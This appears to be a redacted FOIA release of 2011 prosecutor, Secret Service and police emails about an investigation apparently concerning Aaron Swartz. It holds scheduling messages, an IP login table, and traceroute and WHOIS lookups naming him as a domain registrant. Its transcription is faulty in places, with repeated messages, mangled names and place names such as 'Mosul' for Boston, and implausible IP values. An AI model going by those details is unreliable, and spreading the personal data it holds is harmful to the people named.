Out of Office AutoReply: Can I talk to you at 3:15?

I will be out of the office until Monday, June 6th, and will not have access to messages until then. Steve
Heymann, Stephen (USAMA)

Wednesday, June 01, 2011 2:57 PM

BOS

Can I talk to you and (b) at 3:15?
Attached is a first, rough draft of a complaint affidavit. Please read it carefully and let me know your thoughts tomorrow. Steve
Heymann, Stephen (USAM)<br>Thurs., May 26, 2011 3:10 PM<br>[970].(617) [BOS]<br>Subject: Is your main number 565-5640?
As discussed.
From: Heymann, Stephen (USAMA)
Sent: Monday, May 23, 2011 11:00 AM
To: BOS
Subject: Please call when you have a moment. Steve
Let me step down to the duty desk and check with...

Subject: Is there a good time to talk today?
From: Heymann, Stephen (USAMA)  
(d)(6), (d)(7)(C)  
usdoj.gov

Sent: Thursday, May 19, 2011 10:36 AM

To: (d)(6), (d)(7)(C) POS; External  
(d)(6), (b)  
ambridgepolice.org

Subject: Is there a good time to talk today?
From: Heymann, Stephen (USAMA) <bgsy@usdoj.gov>
Sent: Monday, May 16, 2011 7:43 AM
To: (b)(8), (b)(7)(C) (BOS)
Subject: RE: Paper served

Please call office when you can.

From: (b)(8), (b)(7)(C) (BOS) <mailto:suass@dhs.gov>
Sent: Monday, May 16, 2011 7:13 AM
To: Heymann, Stephen (USAMA)
Subject: Paper served

Served in hand

(b)(8), (b)(7)(C)

Sent from Blackberry

All e-mail to/from this account is subject to official review and is for official use only. Action may be taken in response to any inappropriate use of the Secret Service's e-mail system. This e-mail may contain information that is privileged, law enforcement sensitive, or subject to other disclosure limitations. Such information is loaned to you and should not be further disseminated without the permission of the Secret Service. If you have received this e-mail in error, do not keep, use, disclose, or copy it; notify the sender immediately and delete it.
From: Heymann, Stephen (USAMA) <usdoj.gov>
Sent: Thursday, May 12, 2011 2:31 PM
To: bxc@bostonpolice.org; bxc@cambridgepolice.org
Subject: Please note minor additional changes in final
Importance: High
Subject: Please note minor additional changes in final
Importance: High
From: Heymann, Stephen (USAM
(b)(6),(b)(7)(C) (doj.gov)
Sent: Thursday, May 12, 2011 8:22 AM
To: (b)(6),(b)(7)(C) (BOS)
Subject: Please call when you get in. Thx, Steve
All e-mail to/from this account is subject to official review and is for official use only. Action may be taken in response to any inappropriate use of the Secret Service's e-mail system. This e-mail may contain information that is privileged, law enforcement sensitive, or subject to other disclosure limitations. Such information is loaned to you and should not be further disseminated without the permission of the Secret Service. If you have received this e-mail in error, do not keep, use, disclose, or copy it; notify the sender immediately and delete it.
Are you out of the office for the remainder of the day?

If so, when will you be in the morning?
Let's talk then. As before, why don't you give me a call from your shop.

I should be able to talk after 1400

U.S. Secret Service
Boston Field Office

All e-mail to/from this account is subject to official review and is for official use only. Action may be taken in response to any inappropriate use of the Secret Service's e-mail system. This e-mail may contain information that is privileged, law enforcement sensitive, or subject to other disclosure limitations. Such information is loaned to you and should not be further disseminated without the permission of the Secret Service. If you have received this e-mail in error, do not keep, use, disclose, or copy it; notify the sender immediately and delete it.
I can be available. I'm at JFK building but will return to the lab for the call at designated time.
From: Heymann, Stephen (USAMA)
Sent: Wednesday, May 11, 2011 10:57 AM
To: (b)(6), (b)(7)(C)
(BOS); External (b)(6), (b) cambridgepolice.org
Subject: Is there a time we can talk today after 2:00? Steve
Thank you

From: Heymann, Stephen  
Sent: Thursday, May 05, 2011 4:49 PM  
To: (b)(6),(b)(7)(C) (BOS)  
Subject: RE: Twitter

<table>
<thead>
<tr>
<th>IP</th>
<th>DATE</th>
<th>TIME</th>
<th>PROVIDER</th>
</tr>
</thead>
<tbody>
<tr>
<td>(b)(6),(b)(7)(C)</td>
<td>14-Feb-11</td>
<td>16:41</td>
<td>Comcast</td>
</tr>
<tr>
<td>(b)(6),(b)(7)(C)</td>
<td>14-Feb-11</td>
<td>00:03</td>
<td>Amazon Web Services, Elastic Compute Cloud EC2</td>
</tr>
<tr>
<td>(b)(6),(b)(7)(C)</td>
<td>13-Feb-11</td>
<td>04:59</td>
<td>Harvard University</td>
</tr>
<tr>
<td>(b)(6),(b)(7)(C)</td>
<td>11-Feb-11</td>
<td>11:11</td>
<td>Harvard University</td>
</tr>
<tr>
<td>(b)(6),(b)(7)(C)</td>
<td>11-Feb-11</td>
<td>12:09</td>
<td>T-Mobile</td>
</tr>
<tr>
<td>(b)(6),(b)(7)(C)</td>
<td>11-Feb-11</td>
<td>14:54</td>
<td>T-Mobile</td>
</tr>
<tr>
<td>(b)(6),(b)(7)(C)</td>
<td>06-Feb-11</td>
<td>14:22</td>
<td>T-Mobile</td>
</tr>
<tr>
<td>(b)(6),(b)(7)(C)</td>
<td>04-Feb-11</td>
<td>22:51</td>
<td>T-Mobile</td>
</tr>
<tr>
<td>(b)(6),(b)(7)(C)</td>
<td>04-Feb-11</td>
<td>10:51</td>
<td>T-Mobile</td>
</tr>
<tr>
<td>(b)(6),(b)(7)(C)</td>
<td>29-Jan-11</td>
<td>00:52</td>
<td>T-Mobile</td>
</tr>
<tr>
<td>(b)(6),(b)(7)(C)</td>
<td>28-Jan-11</td>
<td>19:10</td>
<td>Harvard University</td>
</tr>
<tr>
<td>(b)(6),(b)(7)(C)</td>
<td>27-Jan-11</td>
<td>03:19</td>
<td>T-Mobile</td>
</tr>
<tr>
<td>(b)(6),(b)(7)(C)</td>
<td>27-Jan-11</td>
<td>09:19</td>
<td>T-Mobile</td>
</tr>
<tr>
<td>(b)(6),(b)(7)(C)</td>
<td>27-Jan-11</td>
<td>12:19</td>
<td>T-Mobile</td>
</tr>
<tr>
<td>(b)(6),(b)(7)(C)</td>
<td>26-Jan-11</td>
<td>21:04</td>
<td>T-Mobile</td>
</tr>
<tr>
<td>(b)(6),(b)(7)(C)</td>
<td>19-Jan-11</td>
<td>04:41</td>
<td>Comcast</td>
</tr>
<tr>
<td>(b)(6),(b)(7)(C)</td>
<td>18-Jan-11</td>
<td>01:41</td>
<td>Comcast Business Communications</td>
</tr>
<tr>
<td>(b)(6),(b)(7)(C)</td>
<td>18-Jan-11</td>
<td>04:41</td>
<td>T-Mobile</td>
</tr>
<tr>
<td>(b)(6),(b)(7)(C)</td>
<td>18-Jan-11</td>
<td>19:41</td>
<td>T-Mobile</td>
</tr>
<tr>
<td>(b)(6),(b)(7)(C)</td>
<td>18-Jan-11</td>
<td>22:41</td>
<td>T-Mobile</td>
</tr>
<tr>
<td>(b)(6),(b)(7)(C)</td>
<td>17-Jan-11</td>
<td>01:20</td>
<td>T-Mobile</td>
</tr>
<tr>
<td>(b)(6),(b)(7)(C)</td>
<td>17-Jan-11</td>
<td>07:35</td>
<td>T-Mobile</td>
</tr>
<tr>
<td>(b)(6),(b)(7)(C)</td>
<td>16-Jan-11</td>
<td>21:05</td>
<td>Harvard University</td>
</tr>
<tr>
<td>(b)(6),(b)(7)(C)</td>
<td>16-Jan-11</td>
<td>01:20</td>
<td>T-Mobile</td>
</tr>
<tr>
<td>(b)(6),(b)(7)(C)</td>
<td>16-Jan-11</td>
<td>04:20</td>
<td>T-Mobile</td>
</tr>
<tr>
<td>(b)(6),(b)(7)(C)</td>
<td>13-Jan-11</td>
<td>00:30</td>
<td>T-Mobile</td>
</tr>
<tr>
<td>(b)(6),(b)(7)(C)</td>
<td>13-Jan-11</td>
<td>03:30</td>
<td>T-Mobile</td>
</tr>
<tr>
<td>(b)(6),(b)(7)(C)</td>
<td>13-Jan-11</td>
<td>12:46</td>
<td>T-Mobile</td>
</tr>
<tr>
<td>(b)(6),(b)(7)(C)</td>
<td>12-Jan-11</td>
<td>02:22</td>
<td>T-Mobile</td>
</tr>
<tr>
<td>(b)(6),(b)(7)(C)</td>
<td>12-Jan-11</td>
<td>22:33</td>
<td>T-Mobile</td>
</tr>
<tr>
<td>12-Jan-11</td>
<td>22:33</td>
<td>Comcast</td>
<td></td>
</tr>
</tbody>
</table>
All e-mail to/from this account is subject to official review and is for official use only. Action may be taken in response to any inappropriate use of the Secret Service's e-mail system. This e-mail may contain information that is privileged, law enforcement sensitive, or subject to other disclosure limitations. Such information is loaned to you and should not be further disseminated without the permission of the Secret Service. If you have received this e-mail in error, do not keep, use, disclose, or copy it; notify the sender immediately and delete it.
The guys here have some a report for you. However, their supervisor needs to review it before it goes out.

Should we add him to the 60?

His name is [b](8),(C) and he is title is [b](8),(b)(7)(C) for the Digital Intelligence and Investigations Directorate. He has the same address as [b](8),(C) and [b](8),(b)(7)(C).

All he is doing is reviewing the report.

Thanks,

[b](8),(b)(7)(C)

Special Agent

U.S. Secret Service

[b](8),(b)(7)(C) Desk)

[b](8),(b)(7)(C) Mobile)

412-268-3226 (Fax)

All e-mail to/from this account is subject to official review and is for official use only. Action may be taken in response to any inappropriate use of the Secret Service’s e-mail system. This e-mail may contain information that is privileged, law enforcement sensitive, or subject to other disclosure limitations. Such information is loaned to you and should not be further disseminated without the permission of the Secret Service. If you have received this e-mail in error, do not keep, use, disclose, or copy it; notify the sender immediately and delete it.

All e-mail to/from this account is subject to official review and is for official use only. Action may be taken in response to any inappropriate use of the Secret Service’s e-mail system. This e-mail may contain information that is privileged, law enforcement sensitive, or subject to other disclosure limitations. Such information is loaned to you and should not be further disseminated without the permission of the Secret Service. If you have received this e-mail in error, do not keep, use, disclose, or copy it; notify the sender immediately and delete it.
From: (b)(8),(b)(7)(C)@gmail.com
Sent: Friday, April 15, 2011 4:27 PM
To: (b)(8),(b)(7)(C)@GUERILLOOPENACCESS.COM [BOS]
Subject: guerillaopenaccess.com

Host name: guerillaopenaccess.com

Alias:
guerillaopenaccess.com

(b)(8),(b)(7)(C) is from United States(US) in region North America

TraceRoute to (b)(8),(b)(7)(C) [guerillaopenaccess.com]

<table>
<thead>
<tr>
<th>Hop</th>
<th>(ms)</th>
<th>(ms)</th>
<th>(ms)</th>
<th>IP Address</th>
<th>Host name</th>
</tr>
</thead>
<tbody>
<tr>
<td>1</td>
<td>0</td>
<td>0</td>
<td>0</td>
<td>(b)(8),(b)(7)(C)</td>
<td>xa-5-3-0-edges3.dallas1.level3.net</td>
</tr>
<tr>
<td>2</td>
<td>1</td>
<td>0</td>
<td>1</td>
<td>ae-70.edges2.dallas3.level3.net</td>
<td></td>
</tr>
<tr>
<td>3</td>
<td>1</td>
<td>1</td>
<td>0</td>
<td>above-telia.dfw2.us.above.net</td>
<td></td>
</tr>
<tr>
<td>4</td>
<td>1</td>
<td>28</td>
<td>1</td>
<td>200.4.14.232.pir.us.xo.net</td>
<td></td>
</tr>
<tr>
<td>5</td>
<td>35</td>
<td>21</td>
<td>35</td>
<td>to-4-0-0-nw3.atlanta-ga.us.xo.net</td>
<td></td>
</tr>
<tr>
<td>6</td>
<td>35</td>
<td>35</td>
<td>20</td>
<td>-</td>
<td></td>
</tr>
<tr>
<td>7</td>
<td>21</td>
<td>20</td>
<td>22</td>
<td>-</td>
<td></td>
</tr>
<tr>
<td>8</td>
<td>21</td>
<td>21</td>
<td>22</td>
<td>-</td>
<td></td>
</tr>
<tr>
<td>9</td>
<td>21</td>
<td>21</td>
<td>22</td>
<td>outgrape.soanbug.com</td>
<td></td>
</tr>
</tbody>
</table>

Trace complete

Retrieving DNS records for guerillaopenaccess.com...

DNS servers

a.ns.aaronsw.com
b.ns.aaronsw.com

Answer records

```
server: a.ns.aaronsw.com
email: hostmaster@guerillaopenaccess.com
serial: 1302797878
```

```
guerillaopenaccess.com SOA refresh: 16384 2560s
retry: 2048
expire: 1048576
minimum ttl: 2560
```

1630
Domain Name: GUERRILLAOPENACCESS.COM Registrar: NAME.COM LLC Whois Server: whois.name.com Referral URL:

http://www.name.com Name Server: A.NS.AARONSW.COM Name Server: B.NS.AARONSW.COM Status: clientTransferProhibited Updated Date: 13-jun-2010 Creation Date: 08-jul-2008 Expiration Date: 08-jul-2011

Domain Name: guerillaopenaccess.com Registrar: Name.com LLC Expiration Date: 2011-07-08 16:30:55 Creation Date: 2008-07-08 16:30:55 Name Servers: a.ns.aaronsw.com b.ns.aaronsw.com REGISTRANT INFO Aaron Swartz (b)(6),(b)(7)(C) US Phone: (b)(6),(b)(7)(C) Email Address: me@aaronsw.com ADMINISTRATIVE CONTACT INFO Aaron Swartz (b)(6),(b)(7)(C) US Phone: (b)(6),(b)(7)(C) Email Address: me@aaronsw.com TECHNICAL CONTACT INFO Aaron Swartz (b)(6),(b)(7)(C) US Phone: (b)(6),(b)(7)(C) Email Address: me@aaronsw.com BILLING CONTACT INFO Aaron Swartz (b)(6),(b)(7)(C) US Phone: (b)(6),(b)(7)(C) Email Address: me@aaronsw.com Timestamp: 1302899090.9342
From: aaronw.com  
Sent: Friday, April 15, 2011 3:38 PM 
To: aaronw.com 
Subject: 

IP address:  0.0.0.0 
Host name: aaronw.com  

Alias: aaronw.com is from United States(US) in region North America  

TraceRoute to aaronw.com 

<table>
<thead>
<tr>
<th>Hop</th>
<th>(ms)</th>
<th>(ms)</th>
<th>(ms)</th>
<th>IP Address</th>
<th>Host name</th>
</tr>
</thead>
<tbody>
<tr>
<td>1</td>
<td>0</td>
<td>0</td>
<td>0</td>
<td>0.0.0.0</td>
<td></td>
</tr>
<tr>
<td>2</td>
<td>1</td>
<td>1</td>
<td>1</td>
<td>aaronw.com</td>
<td></td>
</tr>
<tr>
<td>3</td>
<td>1</td>
<td>1</td>
<td>1</td>
<td>207.88.14.242</td>
<td></td>
</tr>
<tr>
<td>4</td>
<td>1</td>
<td>1</td>
<td>1</td>
<td>50.0.0.0</td>
<td></td>
</tr>
<tr>
<td>5</td>
<td>36</td>
<td>35</td>
<td>36</td>
<td>207.88.14.242</td>
<td></td>
</tr>
<tr>
<td>6</td>
<td>35</td>
<td>35</td>
<td>35</td>
<td>207.88.14.242</td>
<td></td>
</tr>
<tr>
<td>7</td>
<td>22</td>
<td>22</td>
<td>22</td>
<td>207.88.14.242</td>
<td></td>
</tr>
<tr>
<td>8</td>
<td>21</td>
<td>22</td>
<td>22</td>
<td></td>
<td></td>
</tr>
<tr>
<td>9</td>
<td>22</td>
<td>21</td>
<td>21</td>
<td></td>
<td></td>
</tr>
</tbody>
</table>

Trace complete  

Retrieving DNS records for aaronw.com.  

DNS servers 

a.aaronw.com
b.aaronw.com

Answer records

server: a.aaronw.com
email: hostmaster@aaronw.com
serial: 1302797878
refresh: 16384
retry: 2048
dns: 1048576
Whois query for [b][e][8], [b][e][7]

Results returned from whois.arin.net:

#

# The following results may also be obtained via:

#

http://whois.arin.net/rest/route=75.127.64.63?showDetails=true&showARIN=false

#

NetRange: [b][e][8], [b][e][7]

CIDR: [b][e][8], [b][e][7]

OriginAS:

NetName: GNAXNET

NetHandle: NET-75-127-64-0-1

Parent: NET-75-0-0-0-0

NetType: Direct Allocation

RegDate: 2007-06-18

Updated: 2008-01-14

Ref:

http://whois.arin.net/rest/net/NET-75-127-64-0-1

OrgName: Global Net Access, LLC

OrgId: GNAL-2

Address: 1100 White St SW

City: Atlanta

StateProv: GA

PostalCode: 30310

Country: US

RegDate: 2003-06-29

Updated: 2009-07-31

Comment: ADDRESSES WITHIN THIS BLOCK ARE NON-PORTABLE
Comment: ****************************************
Comment: Reassignment information for this block is
Comment: available at rwhois.iana.net port 4321
Comment: ****************************************

Ref:

http://whois.iana.net/rest/org/GNAX-2
ReferralServer: rwhois://rwhois.iana.net:4321
OrgNOCHandle: ENGIN7-ARIN
OrgNOCName: GNAX ENGINEERING
OrgNOCPhone: +1-404-230-9149
OrgNOCEmail: engineering@gnax.net
OrgNOCCref:

http://whois.iana.net/rest/noc/ENGIN7-ARIN
OrgTechHandle: ENGIN7-ARIN
OrgTechName: GNAX ENGINEERING
OrgTechPhone: +1-404-230-9149
OrgTechEmail: engineering@gnax.net
OrgTechCref:

http://whois.iana.net/rest/yoc/ENGIN7-ARIN
OrgAbuseHandle: ABUSE745-ARIN
OrgAbuseName: GNAX ABUSE
OrgAbusePhone: +1-404-230-9150
OrgAbuseEmail: abuse@gnax.net
OrgAbuseCref:

http://whois.iana.net/rest/pos/ABUSE745-ARIN
RTechHandle: ENGIN7-ARIN
RTechName: GNAX ENGINEERING
RTechPhone: +1-404-230-9149

1635
From: (b)(8),(b)(7)(C) @gmail.com>
Sent: Friday, April 15, 2011 3:34 PM
To: (b)(8),(b)(7)(C) (BOS)
Subject: guerillaopenaccess.org

IP address: (b)(8),(b)(7)(C)
Host name: guerillaopenaccess.org

Alias:
guerillaopenaccess.org
(b)(8),(b)(7)(C) is from United States(US) in region North America
(b)(8),(b)(7)(C)

TraceRoute to (b)(8),(b)(7)(C) guerillaopenaccess.org:

<table>
<thead>
<tr>
<th>Hop</th>
<th>(ms)</th>
<th>(ms)</th>
<th>(ms)</th>
<th>IP Address</th>
<th>Host name</th>
</tr>
</thead>
<tbody>
<tr>
<td>1</td>
<td>1</td>
<td>0</td>
<td>0</td>
<td>(b)(8),(b)(7)(C)</td>
<td>ne-5-3-0.edn5.dallas1.level3.net</td>
</tr>
<tr>
<td>2</td>
<td>1</td>
<td>1</td>
<td>1</td>
<td></td>
<td>ne-1-60.edn2.dallas1.level3.net</td>
</tr>
<tr>
<td>3</td>
<td>1</td>
<td>0</td>
<td>0</td>
<td></td>
<td>softlayer-t.edn2.dallas1.level3.net</td>
</tr>
<tr>
<td>4</td>
<td>1</td>
<td>0</td>
<td>1</td>
<td></td>
<td>softlayer-t.edn2.dallas1.level3.net</td>
</tr>
<tr>
<td>5</td>
<td>1</td>
<td>3</td>
<td>1</td>
<td></td>
<td>po2.fer04.ar05.dal01.networklayer.com</td>
</tr>
<tr>
<td>6</td>
<td>0</td>
<td>1</td>
<td>1</td>
<td></td>
<td>74.126.104.248.static.revenue.softlayer.com</td>
</tr>
</tbody>
</table>

Trace complete

Retrieving DNS records for guerillaopenaccess.org...

DNS servers

ns3.name.com
ns2.name.com
ns1.name.com
ns4.name.com

Answer records

guerillaopenaccess.org  NS  ns2.name.com  300s

guerillaopenaccess.org  A  (b)(8),(b)(7)(C)   300s

guerillaopenaccess.org  NS  ns4.name.com  300s

guerillaopenaccess.org  NS  ns3.name.com  300s

guerillaopenaccess.org  NS  ns1.name.com  300s

server: ns1.name.com

go1.name.com

soa: ns1.name.com

email: support@ns1.name.com  300s
Authority records

Additional records

ra2.name.com  A  (b)(8),(b)(7)(C)  86400s
ra4.name.com  A  3600s
ra1.name.com  A  3600s
ra4.name.com  A  3600s
ma3.name.com  A  86400s

Whois query for guerillasopenaccess.org...


Network IP address lookup:

Whois query for (b)(8),(b)(7)(C)

Results returned from whois.arin.net:

#

# The following results may also be obtained via:

# http://whois.arin.net/rest/hosts/(b)(8),(b)(7)(C)?showDetails=true&showARIN=false

# NetRange: (b)(8),(b)(7)(C)
OriginAS: AS36351
NetName: SOFTAYER-4-3
NetHandle: NET-75-126-0-0-1
Parent: NET-75-0-0-0-0
NetType: Direct Allocation
Comment: abuse@softlayer.com
RegDate: 2006-05-12
Updated: 2009-08-26
Ref:
http://whois.arin.net/rest/net/NET-75-126-0-0-1
OrgName: SoftLayer Technologies Inc.
OrgId: SOFTL
Address: 1950 N Stemmons Freeway
City: Dallas
StateProv: TX
PostalCode: 75207
Country: US
RegDate: 2003-10-26
Updated: 2009-07-02
Ref:
http://whois.arin.net/rest/org/SOFTL
ReferralServer: rwhois://rwhois.softlayer.com:4321
OrgTechHandle: IPADM258-ARIN
OrgTechName: IP Admin
OrgTechPhone: +1-214-442-0500
OrgTechEmail: ipadmin@softlayer.com
OrgTechRef:
http://whois.arin.net/rest/poc/IPADM258-ARIN

OrgAbuseHandle: ABUSE1025-ARIN
OrgAbuseName: Abuse
OrgAbusePhone: +1-214-442-0601
OrgAbuseEmail: abuse@softlayer.com
OrgAbuseRef:

http://whois.arin.net/rest/poc/IPADM258-ARIN

RNOCHandle: IPADM258-ARIN
RNOCHandle: IP Admin
RNOCPHONE: +1-214-442-0600
RNOCEmail: ipadmin@softlayer.com
RNOCRef:

http://whois.arin.net/rest/poc/IPADM258-ARIN

RAbuseHandle: ABUSE1025-ARIN
RAbuseName: Abuse
RAbusePhone: +1-214-442-0601
RAbuseEmail: abuse@softlayer.com
RAbuseRef:

http://whois.arin.net/rest/poc/IPADM258-ARIN

RTEchHandle: IPADM258-ARIN
RTEchName: IP Admin
RTEchPhone: +1-214-442-0600
RTEchEmail: ipadmin@softlayer.com
RTEchRef:

http://whois.arin.net/rest/poc/IPADM258-ARIN

#

# ARIN WHOIS data and services are subject to the Terms of Use

# available at:
I also need what his criminal record check showed. Sorry.

Will this suffice?
From: (b)(6), (b)(7)(C)
Sent: Tuesday, April 12, 2011 12:06 PM
To: Herrmann, Stephen (USAMOS)
cambridge.police.org>
Cc: (b)(6), (b)(7)(C)
Subject: (b)(6), (b)(7)(C)

DOB: (b)(6), (b)(7)(C)
SS: (b)(6), (b)(7)(C)

Work: (b)(6), (b)(7)(C)

Place of Birth: (b)(6), (b)(7)(C)

Will this suffice?
I am on a conference call still; can we reschedule for 10:30?

Sounds Good

You guys want to call me at 10:00?

Tomorrow morning a quick conference call would be great at 10am. Then of course I'd like to huddle Weds before her arrival at Mosul.

I think we should talk before hand. I am available for a conference call tomorrow or I could go to the courthouse early on Wednesday to meet before hand.
When would you like to have a pre-meet or pre-telephone call on [b](6),[b](7) I could do tomorrow any time after 10:00 or Wednesday before hand.

Steve
Heymann, Stephen (USAMA) <usdoj.gov>  

Monday, April 11, 2011 2:09 PM

External: b)(6), b)(7)(C) cambridgepolice.org; b)(6), b)(7)(C) (BOS)

RE: b)(6), b)(7)(C) Pre-Meet

You guys want to call me at 10:00?

Tomorrow morning a quick conference call would be great at 10am. Then of course I'd like to huddle Weds before her arrival at Boston.

I think we should talk before hand. I am available for a conference call tomorrow or I could go to the courthouse early on Wednesday to meet before hand.

U.S. Secret Service
Boston Field Office

When would you like to have a pre-meet or pre-telephone call on b)(6), b)(7)(C) could do tomorrow any time after 10:00 or Wednesday before hand.

Steve

All e-mail to/from this account is subject to official review and is for official use only. Action may be taken in response to any inappropriate use of the Secret Service's e-mail system. This e-mail may contain information that is privileged, law enforcement sensitive, or subject to other disclosure limitations. Such information is loaned to you and should not be further disseminated without the permission of the Secret Service. If you have received this e-mail in error, do not keep, use, disclose, or copy it; notify the sender immediately and delete it.
Tomorrow morning a quick conference call would be great at 10am. Then of course I’d like to huddle Weds before her arrival at Moskow.

I think we should talk before hand. I am available for a conference call tomorrow or I could go to the courthouse early on Wednesday to meet before hand.

When would you like to have a pre-meet or pre-telephone call on me? I could do tomorrow any time after 10:00 or Wednesday before hand.

Steve
When would you like to have a pre-meet or pre-phone call on [_____] I could do tomorrow any time after 10:00 or Wednesday before hand.

Steve
FYI, Steve

We spoke with you and we are set for 12:30 next Wednesday. We will provide you with medical documentation as soon as we get it.

Thanks.

Fish & Richardson P.C.
One Marine Park Drive
Boston, MA 02210

Hi Steve,

and I just left you a voicemail. I'm very ill and will not be able to meet as planned tomorrow. Can you call us to discuss a new date?

Thank you.
This email message is for the sole use of the intended recipient(s) and may contain confidential and privileged information. Any unauthorized use or disclosure is prohibited. If you are not the intended recipient, please contact the sender by reply email and destroy all copies of the original message.

IRS CIRCULAR 230 DISCLOSURE: Any U.S. tax advice contained in this communication (including any attachments) is not intended or written to be used, and cannot be used, for the purpose of (i) avoiding penalties under the Internal Revenue Code or (ii) promoting, marketing or recommending to another party any transaction or matter addressed herein. (PRB8-12034)
He said he will want to talk to us next week in some form, but wants to do some further investigation first.
That works—see you then.

Sent from my iPhone

On Apr 5, 2011, at 10:15 AM, "Heymann, Stephen (USAMA)" wrote:

2:00 p.m. over here on Friday (the 8th)?

We can make ourselves available all day per your schedule.

Still waiting to hear back from the agents, but let’s tentatively plan on April 8th at our offices. When are you available that day?

I will confirm on Monday when I am back in the office.

Steve

has an out-of-state court date on the 13th, but we can move some non-court commitments around next week. The best choice for us would be April 8; failing that, April 5 is do-able. In terms of the later week, April
20 and 21 are both open.

By the way, we haven’t discussed location. You are of course welcome to come \( \text{(b)(6),(7)} \), or if you prefer we can come to you – I assume it would be at the courthouse.

From: Heymann, Stephen (USAMA) [mailto:usdoj.gov]
Sent: Thursday, March 31, 2011 12:29 PM
To:  
Subject: RE: Meeting with

What are the options during the weeks of the 4th and the 18th. Also, is the 13th really not available in its entirety? I am very flexible as to time that day, be it necessary to push it early or late in the day.

I am not happy with the idea of this needing to slide further, as I’ve said, but am increasingly worried about my schedule on the only two days you have available during the week of the 11th.

From: [mailto:rajfr.com]
Sent: Wednesday, March 30, 2011 8:51 PM
To: Heymann, Stephen (USAMA)
Subject: RE: Meeting with

I expect to be out of court by 12:30 pm but it could be a little later – can we make it 1:30 pm to be safe?

From: Heymann, Stephen (USAMA) [mailto:usdoj.gov]
Sent: Wednesday, March 30, 2011 4:50 PM
To:  
Subject: RE: Meeting with

I do not want to push it further back. Between what times would the three of you be available on the 15th?

From: [mailto:rajfr.com]
Sent: Monday, March 28, 2011 6:19 PM
To: Heymann, Stephen (USAMA)
CC:  
Subject: RE: Meeting with

Hi again Stephen:

Unfortunately I misspoke – I am out of town April 13. We would suggest starting on April 15 afternoon and if you would like more time after that we could do a follow-up meeting.

Regards,

From: Heymann, Stephen (USAMA) [mailto:usdoj.gov]
Sent: Monday, March 28, 2011 5:21 PM
To:  
Subject: Re: Meeting with

I'll check the agents' availability and be back with you.
We could do April 13. Alternatively, April 15, although I am in court in the morning until around 12:30pm so we would have to start in the afternoon.

Sorry. I am scheduled to be out of the office all day on April 14th.

Dear Stephen:

We’d like to have the meeting we discussed on April 14. If that day works for you, you can have the entire day with our client.

Regards,

Fish & Richardson PC
One Marina Park Drive
Boston, Massachusetts 02210

voice: (617) 542-8906

This email message is for the sole use of the intended recipient(s) and may contain confidential and privileged information. Any unauthorized use or disclosure is prohibited. If you are not the intended recipient, please contact the sender by reply email and destroy all copies of the original message.

IRS CIRCULAR 230 DISCLOSURE: Any U.S. tax advice contained in this communication (including any attachments) is not intended or written to be used, and cannot be used, for the purpose of (i) avoiding penalties under the Internal Revenue Code or (ii) promoting, marketing or recommending to another party any transaction or matter addressed herein.
Is there a separate report of interview form that we use? I usually just include everything in the TDS report. I can knock something out, just let me know what format you are looking for.

I have not seen the report of interview yet but I have not been back to the office. I will be busy on another assignment starting some time next week and then be busy for a couple of months.

Sent from Blackberry

Have we gotten the interview report yet? If not, we very much need it by the middle of next week.

We may need them to do one other interview. By whom would they need to do it? How long will they be unavailable?

The San Francisco office would like to know if we would like any more assistance from them any time soon. Other mission requirements will soon use up their resources, so if we want them to interview a witness they will have to do it soon while they have the ability or we will have to wait until they have the resources again.

Sent from Blackberry

All e-mail to/from this account is subject to official review and is for official use only. Action may be taken in
response to any inappropriate use of the Secret Service's e-mail system. This e-mail may contain information that is privileged, law enforcement sensitive, or subject to other disclosure limitations. Such information is loaned to you and should not be further disseminated without the permission of the Secret Service. If you have received this e-mail in error, do not keep, use, disclose, or copy it; notify the sender immediately and delete it.
From: Heymann, Stephen (USAMC) @usdoj.gov
Sent: Thursday, March 31, 2011 2:53 PM
To: BOS
Subject: Re: San Francisco

Please make sure we have the report in hand by Wednesday.

Can someone else do one interview if necessary?

From: [mailto:usss.dhs.gov] usss.dhs.gov
Sent: Thursday, March 31, 2011 02:49 PM
To: Heymann, Stephen (USAMC)
CC: cambridgepolice.org

I have not seen the report of interview yet but I have not been to the office will be busy on another assignment starting some time next week and then be busy for a couple of months.

Sent from Blackberry

From: Heymann, Stephen (USAMC) @usdoj.gov
Sent: Thu Mar 31 13:54:12 2011
To: BOS
Subject: Re: San Francisco

Have we gotten the interview report yet? if not, we very much need it by the middle of next week.

We may need them to do one other interview. By when would they need to do it? How long will they be unavailable?

From: Heymann, Stephen (USAMC) @usdoj.gov
Sent: Thursday, March 31, 2011 12:34 PM
To: Heymann, Stephen (USAMC)
CC: cambridgepolice.org
Subject: San Francisco

The San Francisco office would like to know if we would like any more assistance from them any time soon. Other mission requirements will soon use up their resources, so if we want them to interview a witness they will have to do it soon while they have the ability or we will have to wait until they have the resources again.

Sent from Blackberry
All e-mail to/from this account is subject to official review and is for official use only. Action may be taken in response to any inappropriate use of the Secret Service's e-mail system. This e-mail may contain information that is privileged, law enforcement sensitive, or subject to other disclosure limitations. Such information is loaned to you and should not be further disseminated without the permission of the Secret Service. If you have received this e-mail in error, do not keep, use, disclose, or copy it; notify the sender immediately and delete it.
Have we gotten the interview report or [(b)(7)(C)] yet? If not, we very much need it by the middle of next week.

We may need them to do one other interview. By when would they need to do it? How long will they be unavailable?

The San Francisco office would like to know if we would like any more assistance from them any time soon. Other mission requirements will soon use up their resources, so if we want them to interview a witness they will have to do it soon while they have the ability or we will have to wait until they have the resources again.

Sent from Blackberry

All e-mail to/from this account is subject to official review and is for official use only. Action may be taken in response to any inappropriate use of the Secret Service's e-mail system. This e-mail may contain information that is privileged, law enforcement sensitive, or subject to other disclosure limitations. Such information is loaned to you and should not be further disseminated without the permission of the Secret Service. If you have received this e-mail in error, do not keep, use, disclose, or copy it; notify the sender immediately and delete it.
I guess I can't procrastinate this year on my Tax Return, I'll get it post marked the 14th. Yes, the 14th sounds viable.

Since you are asking for the 14th, I take it the 7th is off the calendar for at GJ.

Afternoon of April 15th works for me

Sent from Blackberry

Spoke to soon. How about the afternoon of April 15th?

Hi again Stephen:

Unfortunately I misspoke -- is out of town April 13. We would suggest starting on April 15 afternoon and if you would like more time after that we could do a follow-up meeting.

Regards,
I'll check the agents' availability and be back with you.

We could do April 13. Alternatively, April 15, although I am in court in the morning until around 12:30pm so we would have to start in the afternoon.

Sorry, I am scheduled to be out of the office all day on April 14th.

Dear Stephen:

We'd like to have the meeting we discussed on April 14. If that day works for you, you can have the entire day with our client.

Regards,

1682
